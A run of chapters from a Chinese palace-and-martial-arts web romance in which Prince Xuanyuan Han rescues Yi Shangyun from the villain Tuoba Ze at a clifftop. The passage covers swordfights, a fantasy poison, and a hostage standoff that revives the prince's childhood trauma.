“喔,殿下有所不知,那些南安毒蛊师所制之毒,果然极其阴毒,这次若不是殿下慎重,等那易三少回来说服其加入方才行动,我们恐怕还真的对付不了那个老鸨,更别说摧毁整个万娇阁了。”程良对其主子细心的深思熟虑又一次膜拜道。

然听了程良的话,轩辕翰却依然如常地沉默不语着,一副冰冷之态。

因为并不是自己亲眼所见亲耳所闻,只是听得众手下们一个个将那冰美人描述的天花乱坠,激动不已。程良反倒因此似是真的有些遗憾,他对轩辕翰说道“听他们讲,易三少说那拓跋泽不惜一切代价从灵空大陆之外遥远的北极冰川地带弄回了一只神奇的全身透明,所视如无物的冰美人蝶,其乃是天下至寒之物。体长一尺有余,伴随着冬天的飘雪破蛹而出,以冰花为食,拥有像水晶一样晶莹剔透的身体和薄薄的翅膀,飞舞时挥动双翅便会撒落点点冰花,冰花落地便能散发出七彩的光辉。但经过拓跋泽在万娇阁里那个心术不正的毒蛊师老鸨的炼制,还以天下至毒的美人血将其滋养,那冰美人蝶竟变成了一只看起来只是普通蝴蝶一般大小,样子却静如娇艳美人,鲜红胜血惹人怜爱;动若情人泣血般,凄美壮丽令人断肠;重生后则似美人在血与火中沐浴燃烧般,红火交织成的新生命——天下至毒至美亦至邪的冰美人蛊。”

这时,程良见轩辕翰仍然不以为奇,沉默不语着,便问“殿下可知中此蛊毒者会如何?”

“天下之大,无奇不有”轩辕翰自小博览群书,自是对世间任何奇闻怪事早已见怪不怪,都可做到心静如止水,更何况,是这种妖人邪术。

程良抿了抿嘴,似乎早已习惯了主子的这种处事不惊的态度,便只自顾自地继续往下有如自说自话了去,然却瞬间仍似兴奋丝毫不减“那易三少说,心中没有挚爱的人,若是身中此毒,便会当场毙命。而若身中此毒者心中有喜欢的人,只要一动情,便会激发其体内冰美人蛊毒之天下至寒寒毒,除非以天底下最挚爱的心上人炙热的身体方才能得以压制,否则便会当场畏寒致死。而最可恨的是,此方法也只能缓解其毒发,最终却亦是难逃一死,这种毒根本就是无解的。但死的时候,却不会流一滴血,还会在中毒者刚心脉俱断之后,恢复到十八岁的模样。这么阴险的毒,亦不知道他们制出来究竟是想对付谁用的?还好这毒蛊被破除了,那老鸨也算是自食恶果,死了。可奇怪的是,那老鸨死了,这易三少却哭的稀里哗啦的,也不知道怎么回事儿?”

谁知程良费尽口舌地说了这么多,轩辕翰最终开口关心的却是和易三少有关的事“那毒蛊师死了,易三少他哭了?”

程良看着轩辕翰亦是有些惊讶的表情,微微点了点头,道“虽说他极力掩饰,但属下还是一眼便看出来他哭过。那神情和往日里那一副桀骜不驯的精神头,完全判若两人。而且,他还亲自埋葬了那老鸨,就在那片柳树林里。只是不知,他究竟在掩饰些什么?”

轩辕翰闻之暗自垂首心里琢磨着。

“殿下……方才属下过来的时候,看到你黯然神伤。您是不是又在想小时候曾遇到的那位妇人了?其实有些事过去了就过去了,每个人生下来本就有她自己已经被注定好了的命运,殿下又何必一直念念不忘,耿耿于怀呢?”程良自打一到城南北山脚下,看到轩辕翰失神落魄的坐在这里的样子,便已知道,这世上只有那件事方才能让他的主子如此神态。于是,犹犹豫豫了半晌,最终还是开口劝导轩辕翰道。

闻此,轩辕翰却忽然皱紧眉头,从来都没有对程良过的言语激动地口气说道“可那妇人肚子里还有个即将出世的婴孩啊!‘一尸两命’,本王究竟何德何能,又有什么权利值得牺牲他们母子俩人的性命来保全本王一人。‘我不杀伯人,伯人却因我而死’,这跟本王亲手杀了他们母子又有何不同?没想到,本王的这双手,竟也沾上了如此无辜之人的性命,这一切,本王怎么可能将她忘记,当她不存在,没发生过呢?!”

轩辕翰激动地说着,随即缓缓伸出两只骨节分明,大而有力的双手,咬牙切齿地注视着它。

这团阴影就像个永远也解不开的魔咒一般,从小一直困惑着他家主子,程良每每看到主子如此孤独无助的模样,都心疼不已。

这些年来,在程良心里一直那样高大、尊贵、且几乎无所不能的挺拔身躯,可唯独在多年以前意外发生的这件事上确是如此无奈。

半晌后,程良道“可事实已经如此了呀,我们也改变不了什么。这些年,殿下不也正为了那妇人的临终遗言一直在努力么,殿下不也正在以自己的性命在守护着西秦,守护更多的生命么?相信那妇人在天有灵,也一定会看到殿下的努力的。”

轩辕翰闻之渐渐闭上了双眼,平静起自己的

第一百七十三章:寻香觅佳人

轩辕翰轻叹了口气,一转念问身旁的程良道“对了,你不是在追那个在逃的拓跋泽的近身侍卫么,怎么坐在这里不动了?”

程良摸着脑袋笑着说“喔,方才属下追寻血迹至此处,却忽然不见了踪影,便安排人在此四处仔细查找。见殿下独自在此,属下特意过来陪殿下说说话……”

程良话还未说完,忽然看见一名手下的侍卫疾跑上前来,手里握着一个粉色的貌似女红之类的不知什么东西。

程良看见连忙站起身来上前两步,那侍卫一近身过来,便朝着程良拱手行礼,道“启禀将军,属下方才在后方搜索逃犯踪迹时,在貌似一条通往山上的崎岖小路的路口边发现了这个。而且,血迹也是在那路口同时消失不见了,估计逃犯是在此停留过,已经包扎好伤口,所以才无迹可寻的。”

侍卫一说完,便将手里神神秘秘地紧握着的东西双手捧着奉上,程良一把将其接过来放在自己的手心,翻来翻去端详着。

这看起来也只不过是个女人用的普通香囊而已,他琢磨了半天,好像也没看出来什么端倪。

这时,坐在一旁的轩辕翰亦终于缓过神站起身来,一边向着马匹踱步过去,一边对程良吩咐道“好了,本王会继续接着饶过这座北山往西北古道方向前行,拓跋泽要带云儿回北烈,就只有这一条路可走。你尽快处理好手头的事情,即刻赶来与本王汇合。”

话音刚落,轩辕翰正欲上马离去,又一名侍卫气喘吁吁地疾跑上前来禀告“启禀殿下,山脚下的东南方草丛里发现了一个神秘的洞口,貌似是一个密道的出口,那密道里面直通向西南方向。”

“密道出口、通向西南方向……”轩辕翰一听,口中暗自喃喃地重复着。

片刻后似是想到了什么,忽然丢开手中的马缰绳大步朝着侍卫过去,紧盯着他的眼睛问道“那可曾还发现一个绣着蝴蝶与玉兰花的粉色香囊?”

就在此时,他又似闻到了一股什么气味,随即扭头寻香而去。

闻此,身后的程良方才再次垂首仔细看了一眼攥在自己手里的那只粉色香囊上所绣制的图案,一时间惊讶极了,那竟是和轩辕翰口中所说的一模一样。

于是,便在轩辕翰的身后匆匆开口道“殿下说的可是这个香囊?”

轩辕翰闻声立刻放眼过去,看向了程良的双手,程良赶忙疾步上前将其交到轩辕翰的手中,轩辕翰望着手中程良递过来的那只粉色香囊,瞬时瞪大了眼睛,手竟然都情不自禁地有些发起抖来,竟颤颤巍巍地将其捧到自己的鼻翼边轻轻的闻了闻,激动地含笑说道“对,对,对,没错,这正是玉娘所说的,在云儿离开之时,她亲手赠给云儿的玫

瑰红茶香囊。”

“玫瑰红茶?对啊,属下怎么没想到呢?难怪方才属下总感觉这个香囊有股淡淡的什么味道,似曾相识,又一时记不起,这种味道,在万娇阁里属下也曾闻到过,万娇阁里确实有这种甚是名贵的南国极品玫瑰红茶呢!只是没想到,竟有人用此茶来做成香囊。”程良闻此,忽然间恍然大悟道。

轩辕翰着急地问“这个香囊是在哪里找到的?”

程良当即命令方才那个禀报的侍卫道“还不带路?”

“是”侍卫亦惊讶万分。

很快,侍卫便将一行人等带至到方才他捡拾起这个香囊的原地位置,指着山脚下一个貌似分岔路口的一株矮矮的海棠树上的一棵枯树枝,道“殿下请看,方才属下就是在这株海棠树上捡到的,这个香囊就挂在这个树枝上。”

正在轩辕翰抬眼仔细端详周围山中陌生的地形环境时,程良用力地从高出路面的边沿部位沿着往北山上密密地跺了跺脚,明显越往上,土壤便越要比眼前平地上的土壤松动许多。

忽然,他疾手快地似是发现了脚下的土有些不妥之处“殿下请看,这条山间小道应该是很少有人走,所以看起来并不像是一条路的样子。”

说着说着,他突然弯腰屈膝下去,用手抛开了地面上覆着的一层枯枝败叶,惊道“殿下快看,有马蹄印,照着马蹄印的方向看,应是上山去了,人数不多,可这印子的土都还尚未干呢!应该上去没多久。”

轩辕翰闻之亦俯身下来目视着眼前这一切,片刻后,俩人互相对视着,不约而同地道:

“拓跋泽带着云儿上山了。”

“拓跋泽带着衣姑娘上山了。”

“可属下听说,这北山上东侧处有一处悬崖,凶险万分,平时并无人敢上山去啊。这拓跋泽不带衣姑娘赶路逃命回北烈,却带着衣姑娘去山上做什么?难道是想将衣姑娘……”说到这里,程良俨然已经不敢再继续往下想,往下说了去。

只见轩辕翰一双浓密的眉头紧紧皱起,手中的粉色香囊亦像是要被揉碎了一般,冷冷道“上山!”

随即,所有人马便一起朝着山上前进了去,只留下几个人把守着下山的路。

半山腰上,还是方才同样的一条小溪久旁边,衣上云经过一番简单的梳洗,又抄了两口清泉入口,方才恢复了一身清爽干净。

这会儿,她又再次起身来踱步到距离悬崖边上不远处的,

第一百七十四章:江山易改,本性难移

衣上云哼笑一声,冷冷道“我问你,你是不是根本就没有遵守我们之间的约定:我跟你去北烈,你放玉娘回家。而是将她依旧关在万娇阁的密室里,不见天日,亦不管不问,任其自生自灭,是不是?”

然拓跋泽听了这番话,似是根本就不怕衣上云得知此消息,哼笑一声提高嗓音,道“你既已经知道了这件事,那本皇子想,你也应该知道另一件事。”

衣上云心里顿时一惊,道“另一件事?还有什么事?”

拓跋泽道“这另一件事嘛,那便是现在...你已经无路可选了,不是么?”

拓跋泽话一说完,眼睛便朝着衣上云身后那面深不可测的悬崖边望了一眼。

衣上云亦斜视了一眼身后,同时又被他这句极具要挟的话一时间惊呆了。

原本,她还在怀疑方才那俩名一矮一胖的侍卫所言究竟是真是假,可这会儿一转眼,没想到拓跋泽竟会如此理直气壮地承认自己的所为。

闻此,她气的牙齿咬的直咯咯作响,站起身来朝其愤愤道“拓跋泽,你个卑鄙无耻至极的小人,果真是‘江山易改,本性难移’。原本,我已打算真的想要随你去北烈,只要你信守承诺,答应我的事都做到,我这一辈子都会安心地呆在北烈国。可是,我没想到你竟是如此不堪之人,连一个手无缚鸡之力的弱女子也欺骗。我…我…‘君子一言,驷马难追’,更何况你还是一国的皇子,你根本就不配为北烈国皇室之后。如今看来,你与那西秦秦王之间相差的,远远不止十万八千里。北烈国不兴,民不聊生、食不果腹…这一切,全都是因你言而无信所致。总有一天,北烈必亡,你就等着吧。”

衣上云从未如此气愤地破口大骂过一个人,然此时,她能想到的话似乎也只有这些了,可这明显还远远不能解了她心头的这团怒火。

她恨不得此时自己的手中握有一柄世间最锋利不过的长剑,那她一定会毫不犹豫地将这把剑对准拓跋泽的心脏狠狠刺入,好让他也真真切切地感受一下自己此时无比心痛的感觉;

她又梦想着自己能拥有一颗威力十足的手雷,好将眼前这个令人厌恶和唾弃到作呕的嘴脸炸的面目全非,稀巴烂,再也不要假惺惺地出现在自己的面前;

她还梦想自己能如同电影里的超级女特工那般,身怀一身盖世武功,三拳两脚便打的他落花流水,满地找牙;

又或者她的系统突然恢复了功能,她便能顺手粘来一种21世纪的高端毒药,让其求生不能,求死不得地向她跪地求饶。可一想到她的那个如同废了一般的系统,低头看了一眼手腕上安静躺着的,就如同躺尸一般的七彩金丝彩玉镯子,她就更是来气了,这个系

统究竟何时才能开启……;

可直到最后,孑然一身的她,能拿出来应敌的也仅仅只不过是她弯腰屈膝着在脚底下捡起的一颗小石头而已。

她咬牙切齿着使出了浑身力气,抡起胳膊将其对准目标的眼睛,终于用力地丢了出去,谁想,还被精通武艺的拓跋泽,只将脑袋微微一晃闪,便极为轻松地避开了过去。

看着拓跋泽此时那一脸得意的笑容,一气之下,她再次屈膝蹲身下去,摊开衣襟,捡拾起一大堆更多的小石头来放在里面。

继而又起身来,一颗接着一颗,犹如机关枪扫射一般朝着拓跋泽的全身“嗖嗖嗖”地连发了出去。打完再捡,捡起再打……

可是,最后倾其脚下周围所有全部‘武器’,包括一些坚硬的土疙瘩,始终也没有一颗是打中在目标之上的。反倒是把自己累的气喘吁吁、汗流浃背、双手插在腰间,上气不接下气地大口喘息着。

“不行了,不行了,不行了……”衣上云连连妥协道。

然拓跋泽仍然出言挑衅着“怎么,方才你不是气很大么?这会儿,就这两下子便认输了不行?”

衣上云气道“哼,‘认输’?本姑娘就算是死,也绝不会认输的。本姑娘今天乃是又累又饿,又没有武器,才会败给你这个卑鄙小人。”

“哦,原来是没有武器?早说啊!要不,本皇子的这柄北烈国最锋利削骨如泥的短剑给你作武器,如何?”拓跋泽说着,便从腰间取出一把看似非常贵重的,剑鞘上镶着红绿各色宝石的短剑来,向衣上云抛了过去。

衣上云伸手在半空里颤颤巍巍地将其接住,拿在手里端详了半晌,方才缓缓将剑抽出剑鞘。

可当她看到那被自己亲手抽出来的锋利无比的剑刃,发出耀眼的明晃晃的光亮的时候,她望着它惊呆了。

拓跋泽见她已是黔驴技穷,又从未握过刀剑一般地傻傻痴愣着,随即露着一脸诡异的邪笑,缓缓一步一步向着衣上云逼身靠近了过去。

衣上云忽见其正

第一百七十五章:忽现,神秘男子

拓跋泽沉声道“没想到,这个丑丫头除了脸上的胎记外,竟倒还真是个不可多见的美人胚子,纤纤玉骨、身姿曼妙、肤白细嫩、闻一闻,还有股女子的处子之身所散发出来的天然香气,让人好不销魂啊。”

就在他垂涎欲滴地一边说着,一边即将覆手上去扯掉她身上最后的遮挡,欲要行乐之时,忽觉眼前一道白色的亮光闪动,似是有什么东西在朝着自己以极快的速度靠近。

他似是本能地停下了手里的动作,迅速地刚一转身过去,只见原来是一把锋利无比的长剑正对准着自己的脑袋倏地飞刺过来。

顿时,他瞪大了眼睛甚是迅速灵活的一个急闪身,便将其整个上身低低地俯了下来,那明晃晃的剑刃于是便刚好从他那头顶半束着的发髻上擦了过去,吓得他不禁似是本能般地耸起肩来,眯了眯眼睛。

接着,只闻得极为响亮的“铮”的一声响后,便见他方才还好端端的束发,顿时间便散了开来,凌乱地披了一肩。

就连束发用的紫金发冠,也被那柄利剑划成了两片,纷纷掉落在地。不光如此,竟还有几缕青丝亦被剑刃带着斩断,扬扬洒洒地从空中飘落在地。

拓跋泽看着地上自己的落冠和断发,顿时被这突然而至的诡异所惊吓怔住,惊呆了。随即,他立刻起身来往前大踏两步,对着利剑飞过来的眼前这片空荡荡的山林深处大声怒吼,道“谁?是谁竟胆敢破坏了本皇子的好事?还不快给本皇子滚出来!躲躲闪闪的,算什么英雄豪杰?”

就在这时,突然有个一袭黑衣劲装,身披玄色披风的男子身影从他的头顶上方倒着竖直俯冲了下来。

就在男子即将落地的最后一刹那间,他聚集了浑身所有的气力于两只手掌之上,狠狠地将其拍击在了拓跋泽的后背,紧接着,他又用两只脚狠狠地大力将其踹飞了出去。

拓跋泽措不及防,心脉受到重创,浑身失力,便只能任由自己重重地向前俯身摔了下去,摔了个狗吃屎。

此时,他就如同一条死鱼一般,静静地趴躺在菜板上等待着随时受人宰割。

俨然已完全失势的他,只见连着吐了几口鲜血,脸上的青筋暴起,顿显痛苦万分,趴在地上怕是已很难再起身来了。

而男子的脚刚一着地,便单手负后着狠狠地瞪了一眼已经趴在地上不得动弹半分的拓跋泽,那冷厉的眼神似能放出剑来。

接着他又转头看了一眼凄凄惨惨,衣衫不整地被拍晕过去正躺在岩石上的衣上云,眉头紧皱,一脸疼惜。

他飞快地解下自己身上的玄色披风,将其遮在衣上云凌乱的身体上,坐在她的身旁将其缓缓扶起,紧靠着自己坚实的胸膛,牢牢搂着她的肩,似是生生世

世永远都不想再放开她。

他轻轻的一边将其晃动了两下,一边紧张地在其耳边急唤出声道“云儿,云儿……对不起,都是本王的错,本王来晚了,让你受苦了……”

可半晌后,见其根本禁闭双眼依然纹丝不动着,突然一阵山风拂过,将衣上云脸上的纯白面纱吹起,露出了拓跋泽方才留在其一边脸上的五道深深的红色五指山印和嘴角的斑斑血迹。

男子一见,当即眼睛一怔,一咬牙,便一边注视着她的脸庞,一边将其怀中的人儿恋恋不舍小心翼翼地放了下来。

随即在俩人身旁的地上捡拾起方才被自己飞掷出来,最后稳稳扎在土壤里的他的佩剑,若不是顾忌到可能会伤到拓跋泽身下的他的女人,只要再精准不到半寸,拓跋泽绝对当场毙命。

此时,他将他的女人挡在身后,咬紧牙根大踏步走到拓跋泽的面前剑尖直指向他的脑袋,忿忿道“你打了她?你竟胆敢动本王的女人!”

拓跋泽趴在地上听到这话,纳闷极了,随即惊声道“你的女人?秦王轩辕翰,你怎么会……哈哈哈哈哈,哈哈哈哈哈……”

“你笑什么?”轩辕翰问。

拓跋泽哼笑一声,依然趴在地上嘴角满是污血,道“看来,真是天意如此啊!本皇子还以为誉满整个灵空大陆的西秦秦王,是个不近女色,清心寡欲之人。故特意为你千辛万苦制得了这天下至毒的‘冰美人蛊’。可如今看来,蛊破人亡,到头来,皆是一场徒劳无功空欢喜啊!”

“原来这世间极致难得的冰美人蛊是你为本王特制的?……可惜,这次你算是真的徒劳一场了。”轩辕翰恍然大悟道。

拓跋泽不再说话,轩辕翰转念又问“你为何要带走云儿?”

“哼,本皇子原本想带走的只不过是美人血而已。衣上云,她是自己送上本皇子万娇阁的门来的。听闻她竟能解的了本皇子的天花之毒,本皇子自此便很是对她感兴趣。却不想,她竟在本皇子面前神不知鬼不觉地还解了本皇子千辛万苦才养成了的美人血,如此神秘的一个女子,本皇子又岂能放过她呢?!”

&

第一百七十六章:心尖宠,千年铁树开了花

拓跋宏亦好奇地问道“这个消息你是从何处得来的?”

拓跋泽随即将目光投向了至今尚还在距离悬崖边不远处的岩石上,正盖着一件玄色披风昏迷不醒着的衣上云身上。

拓跋宏当即追随其目光亦看了过去,疑惑道“她是谁?她这是怎么了?”

拓跋泽闻之面露难色,在自己温润如玉、仁心仁术、善良忠厚的亲弟弟面前,似是有些难以启齿自己方才的那些因一时冲动,着实有些偏激极端的行为。

稍作思量后,拓跋泽抚着自己胸口的伤痛,只对其言道“她是西秦国一个小小宫廷药师家的丑女……”

可看着此时站在自己身边的哥哥,眼睛里那闪烁不定的眼神,以及被人痛打的看起来一副伤势不轻的狼狈模样;

再看看不知何时,早已踱步过去在不远处的轩辕翰,放下手中的佩剑在身边,正坐在岩石上默不作声地一边含情脉脉地注视着那名昏迷中的女子,一边用自己一只骨节分明的大手,一遍遍地摩挲着女子半边脸上被拓跋泽粗暴地留下的五指伤痕,而另一只手却瞬间极尽愤怒地紧握成拳。

半晌后,轩辕翰方才有些颤颤巍巍地,似是终于鼓足了勇气缓缓掀起来披风的一角。

而当他近身亲眼看到自己在这个世上唯一最在乎和最想疼爱的人,一想到她在遭受到这般凌辱时那惶恐的样子,他的身子不由得顿时颤抖的愈加厉害起来。

他咬紧了牙关,眼睛里似是瞬间能放出千万支利箭来,恨不得一起同时将其所有一并射向那给她这些伤痛和恐惧的人,让他瞬间变作一团马蜂窝,再将其摘下紧紧握在自己的拳中,狠狠碾碎成泥渣或者粉末;

又或者将其碎尸万段,千刀万剐,然后拿去丢在深山里喂食野兽和虫蚁,让其连尸骨都荡然无存……

可即使做到这一切,仍远远都还不足以弥补今日他所带给她的伤害的千万分之一,亦不能解他心间的愤怒半分。

他是如此宠她,宠得那样小心翼翼。可如今,却有人胆敢如此打她,伤她,他怎能容忍,他决不容忍……

此时,他强压隐忍住心头的熊熊怒火,伸出手亲自温柔地替其重新一个接一个地扣好她衣装上的金鱼盘扣。方才将其轻轻的扶起身来,又拾起俩人身旁那件玄色披风为其穿戴好,遮掩起她已经破损了的衣裳。明显那披风应是正在帮其整理一身凌乱的男子之物。

紧接着,他的一只大手扶着怀中女子的后脑勺让她舒服安心地贴在自己滚烫的胸膛前,另一只手则握紧她细长白嫩的玉手,就这样紧紧地拥她在怀,似是要以此来抚平其受到的所有伤痛、恐惧和委屈与无助。

看着轩辕翰此时无比心疼地紧拥着自己

怀里的女子,看着眼前所发生的这一切,又都怎能逃得过一起从小到大,彼此知己知彼的拓跋泽的亲弟弟拓跋宏的眼睛。

而就轩辕翰看着衣上云的眼神表情以及方才当着外人的面,他所做的这一切,拓跋宏当即意识到,这女子定是那男子的心尖宠。

还未等拓跋泽将话说完,拓跋宏却似并未听他所言一般,只饶有兴趣地发声问他,道“他又是谁?”

拓跋泽闻之心中顿然一惊,方才看了一眼轩辕翰,心想,看这西秦秦王对那衣上云关心的程度,莫非他还真的看上了那丫头?这可真是‘千年铁树开了花’啊。

随即,他以轻蔑又忿忿的口气回答拓跋宏道“他?他就是西秦秦王,轩辕翰。若不是他,皇兄我的万娇阁怕是也不会这么快便被捣毁,我历尽艰险养成的美人血,以及寻回炼成的冰美人蛊也不会化为泡影。这笔帐,早晚有一天,我都会尽数与他好好算一算的。”

闻此,拓跋宏顿时皱紧眉头将目光移向了拓跋泽,朝其眼睛一怔,大惊道“什么?你以人来养美人血?还寻回了世间极为难得的冰美人,竟还炼成了邪恶至极的冰美人蛊?”

拓跋泽一时愤恨,口不择言,在还没有给自己的亲弟弟做任何铺垫的情况下,说出了自己的这些秘密来,顿时间低头不敢再作言语。

他当然害怕他的弟弟将此事回国告知他们的父王,到时候,指不定父王又将如何处罚他。

片刻后,拓跋宏无奈地深叹口气,一转念心里道,素闻灵空战神,西秦秦王是座万年大冰山、冷言冷语、沉默寡言、清心寡欲、不近女色。可此时,出现在他眼前的这位对一受辱之女子满目皆是含情脉脉,温暖如春的男子,他真的是传闻中的轩辕翰么?

他的哥哥从小骑马射箭、一身好武艺、内力浑厚、这灵空的天下,怕是并无几人能是他的对手,当然,他亦很难超越他。

而如今仅仅靠着两掌与区区几脚,便能让他哥哥的心脉受到如此重创,再看那男子一身的气宇不凡,想那必然是轩辕翰本人,亦是毋庸置疑的。

思及此,拓跋宏当即朝着拓跋泽惊喝道“他便是灵空战神,秦王轩辕翰?哼...他的女人你也敢动,这下你可真算是闯了大祸了。没想到,这几年在西秦,你是越发的猖狂妄为了,竟然连一个丑女都不放过!这道也罢了,可这最重要的是,难道你真看不出来那女子是那秦王的心尖宠么?”

第一百七十七章:往日重现

“啊……”只见衣上云闭紧双眼,捂起耳朵,崩溃般地所爆发出的这一阵撕心裂肺的惊叫声,响彻天地,震动世间万物。

顷刻间,山林中树木摇曳,枝叶沙沙作响,卷起地上的落花与枯叶无数,夹杂着满地黄土,不停地翻滚飞扬着,背向衣上云,朝向众人席卷而去。

就连刚好料理完万娇阁老鸨,亦是自己多年以来心中最挂念的奶娘的后事,正匆匆赶来寻找衣上云的下落,此时刚刚到达北山脚下的易君浩,亦被这阵源自山林中所发出的惊天巨响的呐喊声所震惊。

他连忙止步住,眼睛朝着声音传出来的方向一怔,立即竖起眉头来,口中自言自语道“丫头出事了?!”

话音刚落,便顿时加快了脚下的步伐,本欲打算一直向前饶过北山直上西北古道的方向去追寻,这会儿直接闻声,寻着声音传出的方向,向着山上飞奔而去。

与此同时,就在山林里距离轩辕翰不远处,率领众将士与拓跋泽仅剩的最后一众残兵败将相遇,正举剑进行着一场最终的胜负角逐,激烈厮杀的程良。

眼见着反客为主之势已成,对方明显已无招数可出,等待着束手就擒,随即他的剑尖亦已乘势搭在了那北烈敌寇的肩上。

可就在这时,程良亦被耳畔边忽然传来的一阵震耳欲聋的女子惊叫声所惊愣住,随即口中吃惊而又一脸忧心地望着声音传来的方向喃喃自语道“衣姑娘?”

而他身旁正以各种各样的姿势或剑招,扭打在一起,伤势或重或轻的将士们,无论是北烈的还是西秦的,亦都纷纷被这声音惊呆了,全都不约而同地停下了手中的动作,一个个手持兵器,却都只是静静地愣站着,面面相觑,不知道究竟发生了何事?

片刻后,程良一回过神来,心中只觉得一定有什么不好的事发生了。他的主子,衣姑娘……

方才,他本还想着不杀一兵一卒,先挑选拿下众敌寇中最威猛善战的一个,好劝诫其他所有人停战投降,可明显此时已不容他再继续往下多想去。

于是,他便看也不看那最善战的敌寇一眼,直接出手狠狠地抹了那敌寇的脖子。尔后拔腿便向山林的更深处,声音传出来的方向冲了进去。

在他身后,那尚还一直处在惊愣之中的,却已是被一柄利剑抹了脖子亦是丢了性命的北烈敌寇,其颈间瞬时喷出来一股股鲜血,犹如喷泉一般四下里洒着,而随后身子亦紧跟着重重地倒地,就这样侧着脸趴在地上,怔着眼睛犹如毙命在一场平静的睡梦中一般,极不真实却又是最真实的结局。

看着眼前鲜血直流,瞬间脸白的如同一张薄纸一般,甚是无尽悲惨的倒地死去的同伴,如此死不瞑目。再看看西秦将士

一个比一个英勇善战,再打下去,一定是个个小命都会不保,客死他乡的。

于是,所有他身旁方才还一直拼的不是你死便是我亡,狠狠地与西秦将士扭打在一起的北烈敌寇,瞬间全部都被吓得弃械投降,跪地求饶起来“投降,我们投降,停战吧,我们也不想打仗,我们个个都是被逼无奈啊!求求你们不要杀我们,我们都是上有老下有小的人,家里的人都还在等我们回去团聚呢,我们不能死啊!”

见此,西秦的将士们亦都一个个手持着利剑,面面相觑了起来。

山林深处,俩人各自都使着伶俐迅捷的剑招,正全力搏击着的轩辕翰和拓跋宏,眼见着已拆到数十余招,此时的剑招亦越来越紧。

而拓跋宏似是有些技不如人,显然已经有些招架不住,力不从心起来。

突然,情急之下,只见他举起长剑猛朝着轩辕翰的左肩挥出,然用力却似是有些过于猛了,身子不禁随之摆晃了一下,似是欲要摔倒。

这时,轩辕翰则眼疾手快地将身子微微一倾后便轻松地跨步避让了开。

拓跋宏未能及时收势,轩辕翰避开后随即又飞快的回头转身将左手挥掌拍出,正对准拓跋宏的后心。

待拓跋宏用剑撑在地上,立定站直身子后想要再次回头继续来战的时候,轩辕翰早已将手中的长剑稳稳地架在了拓跋宏的右肩。

正当轩辕翰欲要举剑,挑去遮在对方脸上的黑色蒙面巾,现出来人的庐山真面目时,忽闻衣上云发出的这一震耳欲聋的惊叫声。

随即目光一转,手中的利剑微微一晃,拓跋宏便乘势侧身闪躲逃离了开来。

然闻声,拓跋宏亦是同时打消了继续再战的念头,将目光移向了一旁衣上云所在的方向,似是亦被这阵闻所未闻的惊叫声所震到。

而此时,距离衣上云最近的拓跋泽,见此时就连他的弟弟亦是敌不过这西秦秦王的不凡剑术。

于是,心念一动,拓跋泽以迅雷不及掩耳之势迅速地飞身过去到衣上云的身旁,将其从岩石旁边的地上一把捞起身来,随即抽出腰间的那把名贵的金黄闪闪,镶着无数红绿宝石的锋利短剑,飞快地拔剑出鞘,从衣上云的身后将那明晃晃的剑尖死死地抵在了她细长的脖颈之间。

随后,他又对着轩辕翰得意扬扬地高声挑衅道“西秦秦王,你过来呀,你不是一向’一夫当关万夫莫开’,威风凛凛,很厉害么?传闻中,不是说人人都对你这个灵空战神闻风而丧胆么?你不是千方百计,处心积虑地想要抓住本皇子么?怎么,本皇子今日拜你所赐,这会儿已是身受重伤,如此虚弱的站在你的面前,你却连个屁都不敢放了么?还是……”

拓跋泽说着说着,忽

然停了下来,低头看了一眼自己虽然受了严重的内伤,但依然可以用一只手便足以牢牢将其两手从后方禁锢住,似是还在昏昏沉沉中的衣上云,朝其露出狡黠的一抹笑容,继续大声道“还是西秦秦王,你也是‘英雄难过美人关’,担心自己向前一步,会惊扰到了本皇子,本皇子一不小心便将手里这个你最深爱的女人,推下这座深不见底的万丈深渊里去了呢?”

“哈哈哈哈哈…哈哈哈哈哈……”拓跋泽话音刚落,便疯狂的大笑了起来,一边笑,一边回头望了一眼那身后几近直立的悬崖边儿上,拖着衣上云一步一步地缓缓往后退了过去。

轩辕翰看着,听着这一切,却忽觉耳朵里如同耳鸣了一般,直嗡嗡作响,且这响声震耳欲聋,久久连绵不绝,甚至令他晕眩地快要窒息。

他似是根本就没有看到或者听到拓跋泽在做些什么亦或说些什么,只见轩辕翰渐渐竖起那两道浓密的眉毛来,手里紧握着的长剑连同他的整个身子一直在不停地发抖着。

他眼睛怔怔地望着眼前所正在发生的这一切,似是忽然想起了什么,看起来惧怕极了。

十几年前,尚且还年幼无知的他,就是在这座山的山脚下,同他的母妃遇上了那伙儿神秘且凶神恶煞的黑衣蒙面人,亦让他遇到了那位他此生永远都无法回报和忘记的即将临盆的妇人。

为了救他,那妇人亦正是从在他眼前,衣上云此刻所踩着的脚下,那同一个位置上,从这座几近直立着的悬崖上不堪受辱,跌落而下,一尸两命。

而此时,在同一个地方,仿佛似是多年前的那一幕又重新再现。

那日的他,只能听从妇人的安排,躲在高高的草丛里,无助地眼睁睁看着妇人在她的面前坠崖而亡;

此时,他的意识里似是已经出现了幻觉,他错误地以为眼前被人挟持着的衣上云,便是昔日里的那位妇人。难道是上天怜他,重新给他的一次选择和弥补的机会?

那么这次,他是不是不该再听那妇人所言,答应她乖乖藏起来,以保住自己的性命,好在以后的岁月里继续守护着西秦,守护更多需要他守护的人。

他想,这次他一定要勇敢一点,他应该站出来出声阻止。他不但要守护西秦,亦要守护她们母子。

他到底该怎么选?

他怕,他当然怕,他很怕,他太怕,他比上次更怕,更是比任何一次都怕。

所以,他才会不由自主似是本能一般地发起抖来。

“不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……”忽然,轩辕翰顿时丢掉了手里的长剑,似是发了疯一般,抱头垂首着闭眼疯了一般地怒发冲冠呐喊起来



这一声呐喊,震惊山河,地动山摇。

这一声呐喊,惊的拓跋泽立刻顿足下来惊愣住,并止住了其疯狂至极的狂笑声;

这一声呐喊,拓跋宏闻之,顿时将目光从拓跋泽和衣上云的身上移向了轩辕翰的身上,朝其眼睛一怔。没想到,这灵空战神,西秦秦王竟也有今日这副似是崩溃了一般的模样。只是,这到底是因为什么呢,难道真的只是为了一个女子?拓跋宏心里暗自疑惑着。

就在这时,听到这一声惊天地泣鬼神的呐喊之声的易君浩和程良亦匆匆闻声,终于疾跑着追赶了过来。

而一看到眼前的情形,俩人顿时都不约而同地被惊呆了。

程良大喊:“殿下”

易君浩惊叫一声:“丫头”

(本章完)

第一百七十八章:除了她,本皇子谁都不要

“不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……”

忽然,轩辕翰丢掉手里的长剑,似是发了疯一般,抱头垂首着闭眼疯了一般地怒发冲冠呐喊起来。

这一声呐喊,震惊山河,地动山摇。

